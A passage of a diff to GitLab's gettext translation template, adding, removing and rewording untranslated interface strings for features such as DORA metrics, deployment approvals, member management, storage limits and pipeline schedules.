msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -9415,12 +9553,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -10090,21 +10234,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -10597,6 +10726,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -11500,6 +11632,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11893,6 +12028,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12793,6 +12931,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12817,6 +12958,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12829,7 +12973,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12850,6 +12997,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12871,6 +13024,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12889,6 +13048,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12910,6 +13078,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12919,6 +13093,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12934,9 +13111,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13858,11 +14032,14 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13939,6 +14116,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -14332,9 +14512,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -14350,6 +14536,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -14437,6 +14629,12 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14710,7 +14908,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14935,6 +15133,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -15442,6 +15643,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -16639,10 +16843,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -16651,9 +16852,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -17155,9 +17353,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -17191,9 +17386,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -17521,9 +17713,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17953,9 +18142,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -18274,16 +18460,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -18385,6 +18568,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -19051,9 +19237,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -19471,6 +19654,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -19483,6 +19669,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -19507,6 +19699,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -19525,6 +19720,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -19537,9 +19735,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19864,6 +20068,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -20026,7 +20236,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -20509,9 +20719,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -20566,6 +20782,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -20575,6 +20794,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -20584,6 +20809,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -20701,6 +20929,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -21028,6 +21259,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -21442,9 +21679,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -21466,6 +21700,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -21694,12 +21931,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22762,7 +23011,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22828,9 +23077,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22981,6 +23239,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -24187,6 +24448,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -24235,6 +24499,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -24379,9 +24646,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -24697,9 +24961,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24868,9 +25129,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -25003,6 +25261,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -25072,9 +25333,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25852,6 +26110,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25867,9 +26128,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25969,6 +26227,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -26038,9 +26299,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -26053,9 +26311,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -26395,6 +26650,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -26440,6 +26698,9 @@ msgstr[5] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -26449,6 +26710,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -26470,10 +26746,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -26482,9 +26758,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -26512,6 +26794,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -26539,6 +26824,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26824,10 +27115,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26887,6 +27181,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -27322,6 +27619,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -27718,6 +28021,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -27742,6 +28048,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -27751,6 +28060,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -27778,24 +28090,36 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27889,6 +28213,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -28021,9 +28366,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -28339,9 +28681,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -28522,6 +28861,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -29074,13 +29428,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -29131,6 +29479,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -29566,6 +29926,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -29731,6 +30094,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -30160,12 +30526,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -30328,9 +30688,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -30481,12 +30838,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -31018,7 +31369,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -31033,6 +31384,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -31045,6 +31399,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -31072,6 +31429,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -31090,6 +31453,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -32044,9 +32410,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -32104,6 +32467,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
